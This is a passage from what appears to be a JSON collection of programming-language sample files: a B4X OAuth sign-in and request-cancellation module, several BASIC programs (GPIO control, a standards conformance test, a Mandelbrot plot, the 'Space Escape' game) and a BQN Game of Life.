HttpJob)\r\n\tIf j.Success Then\r\n\t\tDim m As Map = B4XPages.MainPage.TextUtils1.JsonParseMap(j.GetString)\r\n\t\tIf m.IsInitialized Then\r\n\t\t\tuser.AccessToken = m.Get(\"access_token\")\r\n\t\t\tuser.MeURL = m.Get(\"me\")\r\n\t\t\tWait For (VerifyUser (CurrentlySignedInServer)) Complete (Result As PLMResult)\r\n\t\t\tj.Release\r\n\t\t\tRaiseEvent(Result)\r\n\t\tElse\r\n\t\t\tRaiseEvent(B4XPages.MainPage.CreatePLMResult2(False, \"Failed to parse server response: \" & j.GetString))\r\n\t\tEnd If\r\n\tElse\r\n\t\tRaiseEvent(B4XPages.MainPage.CreatePLMResult2(False, j.ErrorMessage))\r\n\tEnd If\r\n\tj.Release\r\nEnd Sub\r\n\r\nPrivate Sub RaiseEvent(Result As PLMResult)\r\n\tCallSubDelayed2(mCallback, mEventName & \"_SignedIn\", Result)\r\nEnd Sub\r\n\r\n\r\nPrivate Sub GetRedirectUri As String\r\n\t#if B4J\r\n\tReturn \"http://127.0.0.1:\" & port\r\n\t#Else\r\n\t\tReturn packageName & \":/oath\"\r\n\t#End If\r\nEnd Sub\r\n\r\nPublic Sub VerifyUser (Server As PLMServer) As ResumableSub\r\n\tDim user As PLMUser = B4XPages.MainPage.User\r\n\tDim j As HttpJob\r\n\tj.Initialize(\"\", Me)\r\n\tj.Download(Server.URL & \"/api/v1/accounts/verify_credentials\")\r\n\tj.GetRequest.SetHeader(\"Authorization\", \"Bearer \" & user.AccessToken)\r\n\tDim res As PLMResult\r\n\tWait For (j) JobDone(j As HttpJob)\r\n\tIf j.Success Then\r\n\t\tDim m As Map = B4XPages.MainPage.TextUtils1.JsonParseMap(j.GetString)\r\n\t\tIf m.IsInitialized Then\r\n\t\t\tuser.DisplayName = m.Get(\"display_name\")\r\n\t\t\tIf user.DisplayName = \"\" Then user.DisplayName = m.Get(\"username\")\r\n\t\t\tuser.Avatar = m.Get(\"avatar\")\r\n\t\t\tuser.Id = m.Get(\"id\")\r\n\t\t\tuser.Note = m.Get(\"note\")\r\n\t\t\tuser.Acct = m.Get(\"acct\")\r\n\t\t\tres = B4XPages.MainPage.CreatePLMResult2(True, \"\")\r\n\t\tElse\r\n\t\t\tres = B4XPages.MainPage.CreatePLMResult2(False, \"Failed to parse server response: \" & j.GetString)\r\n\t\tEnd If\r\n\tElse\r\n\t\tres = B4XPages.MainPage.CreatePLMResult2(False, j.ErrorMessage)\r\n\t\tLog(j.ErrorMessage)\r\n\tEnd If\r\n\tj.Release\r\n\tReturn res\r\nEnd Sub\r\n\r\nPublic Sub AddAuthorization (job As HttpJob)\r\n\tDim user As PLMUser = B4XPages.MainPage.User\r\n\tIf user.SignedIn Then\r\n\t\tjob.GetRequest.SetHeader(\"Authorization\", \"Bearer \" & user.AccessToken)\r\n\tEnd If\r\nEnd Sub"
  },
  {
    "path": "samples/B4X/RequestsManager.bas",
    "content": "B4J=true\r\nGroup=Network\r\nModulesStructureVersion=1\r\nType=Class\r\nVersion=8.45\r\n@EndOfDesignText@\r\nSub Class_Globals\r\n\t\r\nEnd Sub\r\n\r\nPublic Sub Initialize\r\n\t\r\nEnd Sub\r\n\r\nPublic Sub CancelRequest (URL As String, Job As HttpJob)\r\n\tIf HttpUtils2Service.hc.IsInitialized = False Then Return\r\n#if B4J or B4A\r\n\tDim Jo As JavaObject = HttpUtils2Service.hc\r\n\tDim OkHttpClient As JavaObject = Jo.GetField(\"client\")\r\n\tDim RunningCalls As List = OkHttpClient.RunMethodJO(\"dispatcher\", Null).RunMethod(\"runningCalls\", Null)\r\n\tFor Each call As JavaObject In RunningCalls\r\n\t\tDim req As JavaObject = call.RunMethod(\"request\", Null)\r\n\t\tDim s As String = req.RunMethod(\"url\", Null)\r\n\t\tIf s = URL Then\r\n\t\t\tcall.RunMethod(\"cancel\", Null)\r\n\t\t\tReturn\r\n\t\tEnd If\r\n\tNext\r\n\tFor Each j As HttpJob In HttpUtils2Service.TaskIdToJob.Values\r\n\t\tIf j = Job Then \r\n\t\t\tIf j.Out.IsInitialized Then j.Out.Close\r\n\t\t\tReturn\r\n\t\tEnd If\r\n\tNext\r\n#else if B4i\r\n\tDim no As NativeObject = HttpUtils2Service.hc\r\n\tDim session As NativeObject = no.GetField(\"session\")\r\n\tno = Me\r\n\tno.RunMethod(\"cancelDownload::\", Array(session, Job.req))\r\n#end if\r\n\t\r\nEnd Sub\r\n\r\n#if OBJC\r\n- (void) cancelDownload:(NSURLSession*)session :(B4IHttpRequest*)req{\r\n\t[session getTasksWithCompletionHandler:^(NSArray *dataTasks, NSArray *uploadTasks, NSArray *downloadTasks) {\r\n\t\t//NSLog(@\"data: %@, \\nupload: %@, \\ndownload: %@\", dataTasks, uploadTasks, downloadTasks);\r\n\t\t@try {\r\n\t\t\tfor (NSURLSessionDownloadTask* task in downloadTasks) {\r\n\t\t\t\tif ([task.originalRequest.URL isEqual:((NSURLRequest*)req.object).URL]) {\r\n\t\t\t\t\t[task cancel];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t @catch (NSException *exception) {\r\n\t\t \t NSLog(@\"%@\", exception);\r\n\t\t }\r\n\t\t\r\n\t}];\r\n}\r\n#End If"
  },
  {
    "path": "samples/BASIC/GPIOGW.BAS",
    "content": "1 REM GWBASIC program to control MCP23S17 I/O expander inside PC Emulator\r\n10 CLS\r\n20 REM\r\n30 REM check for I/O available\r\n40 IF (INP(&HE0) AND 1) = 0 THEN GOTO 1100\r\n80 REM\r\n90 REM Setup Port A and B as Outputs\r\n100 OUT &HE1, &HFF\r\n110 OUT &HE2, &HFF\r\n120 REM\r\n130 PRINT \"on/off Port A and B\"\r\n140 FOR I = 1 TO 4\r\n150   OUT &HE5, 255\r\n160   OUT &HE6, 255\r\n170   FOR D = 1 TO 200: NEXT\r\n180   OUT &HE5, 0\r\n190   OUT &HE6, 0\r\n200   FOR D = 1 TO 200: NEXT\r\n210 NEXT\r\n220 REM\r\n230 PRINT \"on/off single GPIO A0 to B2\"\r\n240 FOR I = 1 TO 4\r\n250   FOR GPIO = 0 TO 10\r\n260     OUT &HE7, GPIO\r\n270     OUT &HE9, 0\r\n280     OUT &HE7, GPIO + 1\r\n290     OUT &HE9, 1\r\n300     FOR D = 1 TO 50: NEXT\r\n310   NEXT\r\n320   FOR GPIO = 10 TO 0 STEP -1\r\n330     OUT &HE7, GPIO\r\n340     OUT &HE9, 0\r\n350     IF GPIO > 0 THEN: OUT &HE7, GPIO - 1\r\n360     OUT &HE9, 1\r\n370     FOR D = 1 TO 50: NEXT\r\n380   NEXT\r\n390 NEXT\r\n400 REM\r\n410 PRINT \"Check for B3 to B7 as Inputs...\"\r\n420 PRINT \"Press any key to stop\"\r\n430 OUT &HE2, &H7: REM setup GPIO B3 to B7 as inputs (bits 3..7 = 0)\r\n440 WHILE LEN(INKEY$) = 0\r\n450   FOR GPIO = 11 TO 15\r\n460     GOSUB 1000: REM checkGPIO (gpio)\r\n470   NEXT\r\n480 WEND\r\n490 END\r\n1000 REM SUB checkGPIO (gpio)\r\n1010 OUT &HE7, GPIO\r\n1020 IF INP(&HE9) <> 1 THEN RETURN\r\n1030 PRINT \"pressed \"; GPIO; \"...\";\r\n1040 WHILE INP(&HE9): WEND\r\n1050 PRINT \"released\"\r\n1070 RETURN\r\n1099 REM\r\n1100 REM expander not available\r\n1110 PRINT \"Extended I/O not available on this board!\"\r\n1120 END\r\n\u001a\r\n"
  },
  {
    "path": "samples/BASIC/P180.BAS",
    "content": "10 PRINT \"PROGRAM FILE 180: EXCEPTION - EVALUATION OF NUMERIC\"\r\n20 PRINT \"        EXPRESSIONS IN THE ON-GOTO STATEMENT.\"\r\n30 PRINT \"    ANSI STANDARD 7.5, 10.2, 10.5\"\r\n40 PRINT\r\n50 PRINT \"SECTION 180.1: EXCEPTION - EVALUATION OF NUMERIC\"\r\n60 PRINT \"        EXPRESSIONS IN THE ON-GOTO STATEMENT.\"\r\n70 PRINT\r\n80 PRINT \"THIS SECTION TESTS THE EFFECT OF USING EXPRESSIONS,\"\r\n90 PRINT \"WHICH CAUSE NON-FATAL EXCEPTIONS, TO CONTROL THE ON-GOG.\"\r\n100 PRINT\r\n130 PRINT \"TO PASS THIS TEST:\"\r\n140 PRINT\r\n150 PRINT \"     1) TWO EXCEPTIONS MUST BE REPORTED: DIVISION \"\r\n160 PRINT \"        BY ZERO AND ON-GOTO OUT OF RANGE, AND\"\r\n170 PRINT\r\n180 PRINT \"     2) EXECUTION MUST TERMINATE.\"\r\n190 PRINT\r\n193 PRINT \"                    BEGIN TEST.\"\r\n196 PRINT\r\n200 PRINT \"ABOUT TO EXECUTE:\"\r\n210 PRINT \"   ON 1E-33 / 0 GOTO ...\"\r\n220 LET A=0\r\n230 LET C=1E-33\r\n240 PRINT\r\n250 ON C/A GOTO 280,300,320\r\n260 LET I=0\r\n270 GOTO 340\r\n280 LET I=1\r\n290 GOTO 340\r\n300 LET I=2\r\n310 GOTO 340\r\n320 LET I=3\r\n330 GOTO 340\r\n340 PRINT\r\n350 PRINT \"    PATH TAKEN FOR CONTROL-EXPRESSION = \";I\r\n360 PRINT \"*** TEST FAILED: EXECUTION DID NOT TERMINATE ***\"\r\n370 PRINT\r\n380 PRINT \"                    END TEST.\"\r\n390 PRINT\r\n400 PRINT \"END PROGRAM 180\"\r\n410 END\r\n"
  },
  {
    "path": "samples/BASIC/mandelbrot.bas",
    "content": "10 REM Mandelbrot Set with ANSI Colors in BASIC\n20 REM https://github.com/telnet23\n30 REM 20 November 2020\n40 CLS\n50 MAXK = 32\n60 MINRE = -2.5\n70 MAXRE = 1.5\n80 MINIM = -1.5\n90 MAXIM = 1.5\n100 FOR X = 1 TO WIDTH\n110 FOR Y = 1 TO HEIGHT\n120 LOCATE Y, X\n130 REC = MINRE + (MAXRE - MINRE) / (WIDTH - 1) * (X - 1)\n140 IMC = MINIM + (MAXIM - MINIM) / (HEIGHT - 1) * (Y - 1)\n150 K = 0\n160 REF = 0\n170 IMF = 0\n180 K = K + 1\n190 REF = REC + REF * REF - IMF * IMF\n200 IMF = IMC + REF * IMF + REF * IMF\n210 IF REF * REF + IMF * IMF > 4 THEN GOTO 230\n220 IF K < MAXK THEN GOTO 180\n230 M = 40 + INT(8 / MAXK * (K - 1))\n240 PRINT CHR$(27) + \"[\" + STR$(M) + \"m\";\n250 PRINT \" \";\n260 PRINT CHR$(27) + \"[49m\";\n270 NEXT Y\n280 NEXT X\n"
  },
  {
    "path": "samples/BASIC/spacesc.bas",
    "content": "10 ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n20 ' SPACE ESCAPE! By Neil C. Obremski (Feb-Mar 2011), Music by Scott Happell\n30 '\n40   DEFINT A-Z: KEY OFF: RANDOMIZE TIMER: OPTION BASE 1\n50   DEF FNRAND (N) = 1 + FIX(RND * N)\n60   DEF FNMOVE (N) = FIX(RND * 3) - 1\n70   DEF FNSEEK (ME, YOU) = ME + SGN(YOU - ME)\n80   HS! = 0: LS = 0 ' High Score and Saved Location\n90   ON ERROR GOTO 9700\n100 ' Initialize Keyboard (ESC=QUIT, ARROW KEYS=MOVE)\n110   KEY 15, CHR$(0) + CHR$(1): KEY(15) ON: ON KEY(15) GOSUB 9990\n120   KEY(11) ON: KEY(12) ON: KEY(13) ON: KEY(14) ON\n130   ON KEY(11) GOSUB 160: ON KEY(12) GOSUB 170\n140   ON KEY(13) GOSUB 180: ON KEY(14) GOSUB 190\n150 GOTO 200\n160   MY = MY - 1: RETURN ' 11 = ARROW UP\n170   MX = MX - 1: RETURN ' 12 = ARROW LEFT\n180   MX = MX + 1: RETURN ' 13 = ARROW RIGHT\n190   MY = MY + 1: RETURN ' 14 = ARROW DOWN\n200 ' Initialize Star Field\n210   SC = 0: DIM SX(31), SY(31), SS(31), SO(31)\n220   FOR I = 1 TO 31\n230     SX(I) = FIX(RND * 320): SY(I) = FIX(RND * 200)\n240     SS(I) = .5 + (((31 - I) / 31) * 5)\n250     SO(I) = 0\n260   NEXT I\n270 ' Initialize Palette Rotation DATA and Music List\n280   DATA 14, 8, 13, 5, 14, 6, 13, 13, 14, 14, 13, 5, 14, 8, 13, 13, 14, 6, 13, 5, 14, 14, 13, 13, 0, 0\n290   DIM BGM$(10): ON PLAY(2) GOSUB 9600\n300 ' Initialize Variables / Reset Game\n310   I = 0: N = 0 ' Misc. Integer Register\n320   PX = 20: OX = PX: PY = 8: OY = PY: PT! = 0 ' Player\n330   TX = 0: TY = 0: TD = 0: TS = 0 ' Missile (Torpedo)\n340   FX = 0: FY = 0: FD = 0: FS = 0 ' Fragment (X,Y,dir,speed)\n350   AX = 0: AH = 0: AL = 0 ' Asteroid (X, height, and Length)\n360   WX = 0: WY = 0 ' Worm Hole\n370   L = LS ' Location\n380   DX = 0: DM$ = \"\" ' Dash Message\n390   C1 = 1: C2 = 2: C3 = 3: C4 = 4: C5 = 5: C6 = 6: C7 = 7: C8 = 8: C9 = 9: C10 = 10: C11 = 11: C12 = 12: C13 = 13: C14 = 14: C15 = 15\n500 ' Title Screen\n510   SCREEN 7, 1, 0, 0: WIDTH 40: WINDOW: VIEW: CLS : COLOR C15\n520   ' \"SPACE\" DATA\n530   DATA 201,205,181, 32,201,205,187, 32,201,205,187, 32,201,205,181, 32,201,205,181, 32\n540   DATA 186, 32, 32, 32,186, 32,186, 32,186, 32,186, 32,186, 32, 32, 32,186, 32, 32, 32\n550   DATA 200,205,187, 32,204,205,188, 32,204,205,185, 32,186, 32, 32, 32,204,181, 32, 32\n560   DATA  32, 32,186, 32,186, 32, 32, 32,186, 32,186, 32,186, 32, 32, 32,186, 32, 32, 32\n570   DATA 198,205,188, 32,208, 32, 32, 32,208, 32,208, 32,200,205,181, 32,200,205,181, 32\n580   ' \"ESCAPE\" DATA\n590   DATA 201,205,181, 32,201,205,181, 32,201,205,181, 32,201,205,187, 32,201,205,187, 32,201,205,181, 32\n600   DATA 186, 32, 32, 32,186, 32, 32, 32,186, 32, 32, 32,186, 32,186, 32,186, 32,186, 32,186, 32, 32, 32\n610   DATA 204,181, 32, 32,200,205,187, 32,186, 32, 32, 32,204,205,185, 32,204,205,188, 32,204,181, 32, 32\n620   DATA 186, 32, 32, 32, 32, 32,186, 32,186, 32, 32, 32,186, 32,186, 32,186, 32, 32, 32,186, 32, 32, 32\n630   DATA 200,205,181, 32,198,205,188, 32,200,205,181, 32,208, 32,208, 32,208, 32, 32, 32,200,205,181, 32\n640   ' MUSIC DATA\n650   BGM$(1) = \"MN T178 O3 D4 A4 > D4 < A4\": BGM$(2) = \"D4 G4 A8 G4 A8\": BGM$(3) = \"D4 A4 > D4 < A4.\"\n660   BGM$(4) = \"P8 G4 A8 G4 F#8\": BGM$(5) = \"< B4 > B4 > C#4 D4 E8\": BGM$(6) = \"D8 C#8 D8 C#8 < B8\"\n670   BGM$(7) = \"< B4 > B4 > C#4 D4 E8\": BGM$(8) = \"D8 C#8 D8 C#8 < A8\": BGM$(9) = \"\": BGM$(10) = \"\"\n680   IF LS = 0 THEN MUS = 1: PLAY ON: PLAY \"MB \" + BGM$(1)\n700   RESTORE 530: FOR Y = 1 TO 5: LOCATE Y + 2, 3: FOR X = 1 TO 20: READ I: PRINT CHR$(I); : NEXT X, Y\n710   RESTORE 590: FOR Y = 1 TO 5: LOCATE Y + 12, 16: FOR X = 1 TO 24: READ I: PRINT CHR$(I); : NEXT X, Y\n720   LOCATE 10, 10: COLOR C8: PRINT \"BY  NEIL C. OBREMSKI\"\n725   LOCATE 11, 10: COLOR C8: PRINT \"MUSIC: SCOTT HAPPELL\"\n730   LOCATE 21, 9: COLOR C11: PRINT \"PRESS ANY KEY TO START\"\n740   LOCATE 25, 8: COLOR C15: PRINT USING \" HIGH SCORE = #,###,### \"; HS!;\n750   IF LS = 1000 THEN LOCATE 22, 7: COLOR C2: PRINT \"(CHECKPOINT: MINE BARRIER)\"\n760   IF LS = 2000 THEN LOCATE 22, 6: COLOR C2: PRINT \"(CHECKPOINT: FRAGMENT FIELD)\"\n770   IF LS = 3000 THEN LOCATE 22, 7: COLOR C2: PRINT \"(CHECKPOINT: ASTEROID BELT)\"\n780   IF LS = 4000 THEN LOCATE 22, 10: COLOR C2: PRINT \"(CHECKPOINT: CANYON)\"\n870   RESTORE 280\n880   IF L = 0 THEN DX = 1: DM$ = \" GET READY!\" ELSE DX = 0\n890   MX = 0: MY = 0: SC = 0: WHILE INKEY$ <> \"\": A$ = INKEY$: WEND\n900   ' Wait for ANY key (including arrows)\n920   WHILE TIMER < T2: WEND: T1! = TIMER + .0167: T2! = T1! + .0167: A$ = INKEY$\n930   FOR I = SC TO 1 STEP -1: PSET (SX(I), SY(I)), SO(I): NEXT I\n940   SC = 0\n950   WHILE TIMER < T1!\n960     IF SC < 31 THEN SC = SC + 1: GOSUB 7000\n970   WEND\n980   IF A$ = \"\" AND MX = 0 AND MY = 0 THEN 900\n990   CLS : SC = 0: PLAY OFF\n1000 ' Dash Message\n1010   IF DX = 1 THEN PLAY \"MB MN T255 O1 A8 A8\"\n1020   LOCATE 25, 1: COLOR C15\n1030   IF DX < LEN(DM$) THEN PRINT RIGHT$(DM$, DX); SPACE$(40 - DX);\n1040   IF DX >= LEN(DM$) AND DX < 40 THEN PRINT SPC(DX - LEN(DM$)); DM$; SPACE$(40 - DX);\n1050   IF DX >= 40 THEN PRINT SPC(DX - LEN(DM$)); LEFT$(DM$, LEN(DM$) - (DX - 40));\n1060   IF DX = 40 + LEN(DM$) THEN DX = 0 ELSE DX = DX + 1\n1070   LOCATE 25, 1: PRINT \"\"\n1090   GOTO 2090\n1100 ' Keybuffer Check (i.e. QB arrow key check)\n1110   IF K$ = CHR$(0) + CHR$(72) THEN GOSUB 160\n1120   IF K$ = CHR$(0) + CHR$(75) THEN GOSUB 170\n1130   IF K$ = CHR$(0) + CHR$(77) THEN GOSUB 180\n1140   IF K$ = CHR$(0) + CHR$(80) THEN GOSUB 190\n1150   WHILE INKEY$ <> \"\": WEND ' clear buffer\n1160   RETURN\n2000 ' Main Loop\n2010   T1! = TIMER + .0167: T2! = TIMER + .0167\n2020   I = MX: OX = PX: PX = PX + I: MX = MX - I\n2030   IF PX < 1 THEN PX = 1 ELSE IF PX > 40 THEN PX = 40\n2040   I = MY: OY = PY - 1: PY = PY + I: MY = MY - I\n2050   IF PY < 1 THEN PY = 1 ELSE IF PY > 20 THEN PY = 20\n2060   L = L + 1\n2070   FOR I = SC TO 1 STEP -1: PSET (SX(I), SY(I)), SO(I): NEXT I\n2080   IF DX <> 0 THEN 1000 ELSE LOCATE 25, 1: COLOR C15: PRINT USING \" SCORE:#,###,###   HIGH SCORE:#,###,###\"; PT!; HS!\n2090   IF OY > 0 THEN LOCATE OY, OX: COLOR C14: PRINT \"*\";\n2130   PT! = PT! + (PY * 1 + (L / 310)): IF HS! < PT! THEN HS! = PT!\n2140   IF WX = 0 THEN GOSUB 8500 ELSE GOSUB 8000\n2180   ' Process Level Segment and Collision Detect\n2190   SC = 0: ON (1 + FIX(L / 1000)) GOTO 2500, 2600, 2700, 2800, 2900, 9200\n2200   I = SCREEN(PY, PX): IF I <> 0 AND I <> 32 AND I <> 42 AND I <> 86 THEN GOTO 9000\n2210   LOCATE PY, PX: COLOR C3: PRINT \"V\";\n2220   K$ = INKEY$: IF K$ <> \"\" THEN GOSUB 1100\n2260   ' Stars and Wait\n2270   WHILE TIMER < T1!\n2280     IF SC < 31 THEN SC = SC + 1: GOSUB 7000\n2290   WEND\n2300   IF C1 <> 0 THEN READ I, N: IF I = 0 THEN RESTORE 280: READ I, N: PALETTE I, N ELSE PALETTE I, N\n2310   WHILE TIMER < T2!: WEND\n2490 GOTO 2000\n2500 ' Level 1 (0000-0999): Missiles Only\n2510   IF L = 60 THEN DX = 1: DM$ = \" INCOMING MISSILES!\"\n2520   IF L < 100 THEN 2200\n2530   IF L > 100 AND L MOD 60 = 0 THEN PLAY \"MB MN O1 T255 C8\"\n2540   IF TX = 0 THEN GOSUB 4500 ELSE GOSUB 4000\n2590   GOTO 2200\n2600 ' Level 2 (1000-1999): Mines and Missiles\n2610   IF L = 1000 THEN DX = 1: DM$ = \" APPROACHING MINE BARRIER!\"\n2620   IF L = 1066 THEN LS = 1000: DX = 1: DM$ = \" CHECKPOINT SAVED\"\n2630   IF L > 1122 AND L MOD 45 = 0 THEN PLAY \"MB MN O1 T255 D8\"\n2640   GOSUB 3000\n2650   IF TX = 0 THEN GOSUB 4500 ELSE GOSUB 4000\n2690   GOTO 2200\n2700 ' Level 3 (2000-2999): Mines and Fragments\n2710   IF L = 2000 THEN DX = 1: DM$ = \" APPROACHING FRAGMENT FIELD!\"\n2720   IF L = 2068 THEN LS = 2000: DX = 1: DM$ = \" CHECKPOINT SAVED\"\n2730   IF L > 2123 AND L MOD 30 = 0 THEN PLAY \"MB MN O1 T255 E8\"\n2740   GOSUB 3000\n2750   IF FX = 0 THEN GOSUB 5500 ELSE GOSUB 5000\n2790   GOTO 2200\n2800 ' Level 4 (3000-3999): Mines, Frags, and Asteroids\n2810   IF L = 3000 THEN DX = 1: DM$ = \" APPROACHING ASTEROID BELT!\"\n2820   IF L = 3067 THEN LS = 3000: DX = 1: DM$ = \" CHECKPOINT SAVED\"\n2830   IF L > 3122 AND L MOD 30 = 0 THEN PLAY \"MB MN O1 T255 F8\"\n2840   GOSUB 3000\n2850   IF FX = 0 THEN GOSUB 5500 ELSE GOSUB 5000\n2860   IF AX = 0 THEN GOSUB 6500 ELSE GOSUB 6000\n2890   GOTO 2200\n2900 ' Level 5 (4000-4999): Mines, Frags, Missiles, and Canyon\n2910   IF L = 4000 THEN DX = 1: DM$ = \" APPROACHING CANYON!\"\n2920   IF L = 4060 THEN LS = 4000: DX = 1: DM$ = \" CHECKPOINT SAVED\"\n2930   IF L = 4117 THEN DX = 1: DM$ = \" MORE MISSILES DETECTED!\"\n2935   IF L > 4183 AND L MOD 15 = 0 THEN PLAY \"MB O1 T255 F8\"\n2940   I = 1 + FIX(((L - 3999) / 1000) * 16): COLOR C6\n2950   LOCATE 24, 1: PRINT STRING$(I, 219); CHR$(221); : LOCATE 24, 40 - I: PRINT CHR$(222); STRING$(I, 219);\n2960   GOSUB 3000\n2970   IF TX <> 0 THEN GOSUB 4000 ELSE IF L > 4117 THEN GOSUB 4500\n2980   IF FX = 0 THEN GOSUB 5500 ELSE GOSUB 5000\n2990   GOTO 2200\n3000 ' Draw Mine\n3010   IF L < 2000 AND RND > ((L - 999) / 1000) THEN RETURN\n3020   I = FNRAND(40)\n3030   IF SCREEN(24, I) = 0 OR SCREEN(24, I) = 32 THEN LOCATE 24, I: COLOR C13: PRINT \"X\";\n3040   RETURN\n4000 ' Missile (Main)\n4010   IF TY > 10 THEN TX = 0: RETURN\n4020   IF TY > 1 THEN LOCATE TY - 1, TX: COLOR C14: PRINT \".\"\n4030   TX = TX + TD: IF TX < 1 OR TX > 40 THEN TX = 0: RETURN\n4040   IF L MOD TS = 0 THEN TY = TY + 1: TD = SGN(PX - TX)\n4050   I = SCREEN(TY, TX)\n4060   IF I <> 0 AND I <> 32 AND I <> 42 AND I <> 46 AND I <> 86 THEN PT! = PT! + 100: GOTO 4090\n4070   LOCATE TY, TX: COLOR C4: PRINT \"!\"\n4080   RETURN\n4090   TX = 0: PLAY \"MB T255 O1 L1 D8\"\n4100   RETURN\n4500 ' Missile (Create)\n4510   IF L MOD 30 <> 0 THEN RETURN\n4520   TX = PX + FNMOVE(0): TY = 1: TD = SGN(PX - TX)\n4530   IF TX < 1 THEN TX = 1 ELSE IF TX > 40 THEN TX = 40\n4540   TS = FNRAND(8) + 6\n4550   RETURN\n5000 ' Fragment (Main)\n5010   FY = FY - 1: IF FY < 1 THEN FX = 0: RETURN\n5020   LOCATE FY, FX: PRINT \" \";\n5030   IF L MOD FS = 0 THEN FX = FX + FD: IF FX < 1 OR FX > 40 THEN FX = 0: RETURN\n5040   LOCATE FY, FX: COLOR C7: PRINT \"#\";\n5050   RETURN\n5500 ' Fragment (Create)\n5510   FX = FNRAND(40): FD = SGN(PX - FX)\n5520   FY = 25: FS = FNRAND(4)\n5530   RETURN\n6000 ' Asteroid (Main)\n6010   AX = AX + FNMOVE(0)\n6020   AL = AL + FNMOVE(0)\n6030   IF AX < 1 THEN AX = 1 ELSE IF AX > 40 THEN AX = 40\n6040   IF AL < 1 THEN AX = 0: RETURN\n6050   IF AX + AL > 40 THEN AL = 40 - AX + 1\n6060   LOCATE 24, AX: COLOR C8: PRINT STRING$(AL, 178);\n6070   AH = AH - 1: IF AH = 0 THEN AX = 0\n6080   RETURN\n6500 ' Asteroid (Create)\n6510   IF L MOD 10 <> 0 THEN RETURN\n6520   AX = FNRAND(40): AL = FNRAND(3): AH = FNRAND(15) + 5\n6530   RETURN\n7000 ' Star (Main)\n7010   SY(SC) = SY(SC) - SS(SC)\n7020   IF SY(SC) < 0 THEN SX(SC) = FIX(RND * 320): SY(SC) = 199\n7030   SO(SC) = POINT(SX(SC), SY(SC))\n7040   IF 0 = SO(SC) THEN PSET (SX(SC), SY(SC)), 11\n7050   RETURN\n8000 ' WormHole (Main)\n8010   RETURN\n8500 ' WormHole (Create)\n8510   RETURN\n9000 DM$ = \"YOU BLEW UP!\": I = 0: PLAY \"MB O1 T255 ML E2 C1\"\n9010 WHILE INKEY$ <> \"\": A$ = INKEY$: WEND\n9020 LOCATE 25, 1: PRINT SPACE$(40);\n9030 FOR SC = 1 TO 31\n9040   IF POINT(SX(SC), SY(SC)) = 0 THEN PSET (SX(SC), SY(SC)), 11\n9050 NEXT SC\n9100 T1! = TIMER + .0333: A$ = INKEY$: I = I + 1\n9110 IF I < 30 THEN CIRCLE (PX * 8 - 4, PY * 8 - 4), I, FNRAND(15)\n9120 IF I > 30 AND I < 60 THEN CIRCLE (PX * 8 - 4, PY * 8 - 4), I - 30, 0\n9140 IF A$ = \"Y\" OR A$ = \"y\" THEN 300\n9150 IF A$ = \"N\" OR A$ = \"n\" THEN 9990\n9160 WHILE TIMER < T1!: WEND\n9170 IF I <= 60 THEN 9100 ELSE 9400\n9200 ' Level X (5000-5150): FINISHED! FREE AND CLEAR!\n9210 IF L > 5150 GOTO 9300\n9220 GOTO 2200\n9300 DM$ = \"YOU ESCAPED!\"\n9310 WHILE INKEY$ <> \"\": A$ = INKEY$: WEND\n9320 GOTO 9400\n9400 ' Death Theme\n9410 BGM$(1) = \"MN T70 O2 B8 > D8 F#8 < B8\": BGM$(2) = \"> D8 F#8 < B8 > D8 G8\": BGM$(3) = \"< B8 > D8 G8 < B8 > D8\"\n9420 BGM$(4) = \"G8 < B8 > D8 F#8 < A8\": BGM$(5) = \"> D8 F#8 < A8 > D8 F#8 \": BGM$(6) = \"< A8 > C#8 E8 < A8 > C#8\"\n9430 BGM$(7) = \"E8 < A8 > C#8\": BGM$(8) = \"\": BGM$(9) = \"\": BGM$(10) = \"\"\n9440 MUS = 1: PLAY ON: PLAY \"MB \" + BGM$(1)\n9500 ' MESSAGE BOX Y/N\n9510 COLOR C15: LOCATE 25, 1: PRINT USING \"         HIGH SCORE = #,###,###         \"; HS!;\n9520 LOCATE 10, 10: PRINT CHR$(201); STRING$(20, 205); CHR$(187)\n9530 LOCATE 11, 10: PRINT CHR$(186); SPC((20 - LEN(DM$)) / 2); DM$; SPC((20 - LEN(DM$)) / 2); CHR$(186)\n9540 LOCATE 12, 10: PRINT CHR$(199); STRING$(20, 196); CHR$(182)\n9550 LOCATE 13, 10: PRINT CHR$(186); \" PLAY AGAIN (Y/N) ? \"; CHR$(186)\n9560 LOCATE 14, 10: PRINT CHR$(200); STRING$(20, 205); CHR$(188)\n9570 IF A$ = \"Y\" OR A$ = \"y\" THEN PLAY OFF: GOTO 300\n9580 IF A$ = \"N\" OR A$ = \"n\" THEN PLAY OFF: GOTO 9990\n9590 A$ = INKEY$: GOTO 9570\n9600 ' MUSIC HANDLER\n9610 MUS = MUS + 1: IF BGM$(MUS) = \"\" THEN MUS = 1\n9620 PLAY \"MB \" + BGM$(MUS)\n9630 RETURN\n9700 ' Error handling (only currently handles SCREEN 7 => 1 downgrade)\n9710 IF ERR <> 5 <> ERL = 510 THEN PRINT ERR; \" ON \"; ERL: END\n9720 C1 = 0: C2 = 0: C3 = 0: C4 = 0: C5 = 0: C6 = 0: C7 = 0: C8 = 0: C9 = 0: C10 = 0: C11 = 0: C12 = 0: C13 = 0: C14 = 0: C15 = 0\n9730 SCREEN 1\n9740 RESUME NEXT\n9890 GOTO 100\n9990 CLS : SCREEN 0, 0, 0, 0: WIDTH 80: CLS : END\n\u001a"
  },
  {
    "path": "samples/BQN/gameoflife.bqn",
    "content": "# Larger initial matrix\nr ← 15‿35 ↑ ¯10‿¯20 ↑ (3‿3 ⥊ ↕9) ∊ 1‿2‿3‿4‿7\n\n# Iteration function\nLife ← {∨´ 1‿𝕩 ∧ 3‿4 = +˘˝ +˝ 1‿0‿¯1 ⌽⌜ 1‿0‿¯1 ⌽˘¨ <𝕩}\n\n# 'animate' 100 iterations of the game of life\n{ i ← Life 𝕩 ⋄ •Delay 1 ⋄ •Show i ⊏ \"·#\" ⋄ i}⍟100 r\n"
  },
  {
    "path": "samples/BQN/snake.bqn",
